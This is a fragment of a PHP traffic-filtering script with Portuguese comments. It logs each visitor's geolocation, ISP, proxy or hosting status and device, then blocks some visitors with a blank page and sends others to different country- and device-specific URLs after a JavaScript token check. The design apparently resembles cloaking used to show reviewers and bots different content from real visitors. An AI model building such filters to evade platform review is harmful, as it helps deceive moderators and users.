    'datahora'      => date('Y-m-d H:i:s'),
    'ip'            => $ip,
    'pais'          => $geo['country'] ?? '',
    'pais_sigla'    => $pais,
    'estado'        => $geo['regionName'] ?? '',
    'regiao'        => $geo['region'] ?? '',
    'cidade'        => $geo['city'] ?? '',
    'isp'           => $geo['isp'] ?? '',
    'org'           => $geo['org'] ?? '',
    'asn'           => $asn,
    'hosting'       => !empty($geo['hosting']),
    'proxy'         => !empty($geo['proxy']),
    'mobile'        => !empty($geo['mobile']),
    'navegador'     => $browser,
    'navegador_ver' => $browserver,
    'dispositivo'   => $device,
    'windows_ver'   => $winver,
    'user_agent'    => $user_agent,
    'acao'          => ''
];
$log = attachOrigemToLog($log);

// Função saveLog já foi definida no início do arquivo

// EVITAR DUPLICIDADE EM 2 SEGUNDOS — não aborta o fluxo (crítico #1)
// Só evita log duplicado; o redirect continua normalmente
$skip_duplicate_log = false;
$ultimo = function_exists('ultimoLogAcesso') ? ultimoLogAcesso() : null;
if (
    $ultimo &&
    ($ultimo['ip'] ?? '') == $log['ip'] &&
    ($ultimo['navegador'] ?? '') == $log['navegador'] &&
    ($ultimo['dispositivo'] ?? '') == $log['dispositivo'] &&
    abs(strtotime($log['datahora']) - strtotime($ultimo['datahora'] ?? '')) < 2
) {
    $skip_duplicate_log = true;
}

// REDIRECIONAMENTO INTELIGENTE E LOG USANDO gestor.json
$pais_cfg = $paises_cfg[$pais] ?? null;
if (!$pais_cfg || empty($pais_cfg['ativo'])) {
    // Whitelist: bypass de país inativo se ainda houver URLs no cfg
    if (!$whitelist_bypass) {
        // Geo falhou (XX) ≠ país desativado de verdade
        if ($pais === 'XX' || empty($geo)) {
            $log['acao'] = 'Bloqueado - Geo indisponível';
        } else {
            $log['acao'] = 'Bloqueado';
        }
        $log['risk_score'] = $security_check['score'] ?? 0;
        if (!$skip_duplicate_log) {
            saveLog($log);
        }
        echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=about:blank"></head><body></body></html>';
        exit;
    }
    // Whitelist sem país ativo: tenta qualquer URL configurada do país ou first active
    if (!$pais_cfg) {
        $log['acao'] = 'Bloqueado - Sem país';
        if (!$skip_duplicate_log) {
            saveLog($log);
        }
        echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=about:blank"></head><body></body></html>';
        exit;
    }
}

// Determina URL de destino baseado no dispositivo
$url_destino = '';
$acao_log = '';

if ($device_group === 'mobile') {
    $url_destino = $pais_cfg['mobile'] ?? '';
    $acao_log = 'Desviado Mobile';
} elseif ($device_group === 'pc') {
    $url_destino = $pais_cfg['liberado'] ?? '';
    $acao_log = 'Liberado';
    
    // Detecta comportamento suspeito antes de liberar
    // Se detectar, bloqueia automaticamente e remove da whitelist
    if (detectAndBlockSuspiciousBehavior($ip)) {
        // IP foi bloqueado automaticamente por comportamento suspeito
        $log['acao'] = 'Bloqueado - Comportamento Suspeito (Auto)';
        $log['risk_score'] = 100;
        if (!$skip_duplicate_log) {
            saveLog($log);
        }
        
        // Verifica se tem URL de bloqueado configurada
        $url_bloqueado = $pais_cfg['bloqueado'] ?? '';
        if ($url_bloqueado) {
            header('Location: ' . $url_bloqueado);
        } else {
            echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=about:blank"></head><body></body></html>';
        }
        exit;
    }
} elseif ($device_group === 'outros_pc') {
    $url_destino = $pais_cfg['outros_pc'] ?? '';
    $acao_log = 'Desviado PC';
} else {
    $log['acao'] = 'Bloqueado';
    $log['risk_score'] = $security_check['score'] ?? 0;
    if (!$skip_duplicate_log) {
        saveLog($log);
    }
    echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=about:blank"></head><body></body></html>';
    exit;
}

// Se não tem URL configurada, bloqueia
if (empty($url_destino)) {
    $log['acao'] = 'Bloqueado - Sem URL';
    $log['risk_score'] = $security_check['score'] ?? 0;
    if (!$skip_duplicate_log) {
        saveLog($log);
    }
    echo '<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=about:blank"></head><body></body></html>';
    exit;
}

// Gera token de validação JavaScript (destino fica no token/sessão — URL curta)
$js_token = generateValidationToken();
saveJSToken($js_token, $url_destino, $pais);

// Adiciona informações de segurança ao log
$log['acao'] = $acao_log;
$log['risk_score'] = $security_check['score'] ?? 0;
$log['security_reason'] = $security_check['reason'] ?? 'passed';

// Salva log antes do redirecionamento (pula se anti-dup 2s)
if (!$skip_duplicate_log) {
    saveLog($log);
}

// Redireciona para página de validação JavaScript (URL absoluta da raiz do app)
$validacao_url = appUrl('validacao.php?token=' . urlencode($js_token));
header('Location: ' . $validacao_url);
exit;
?>
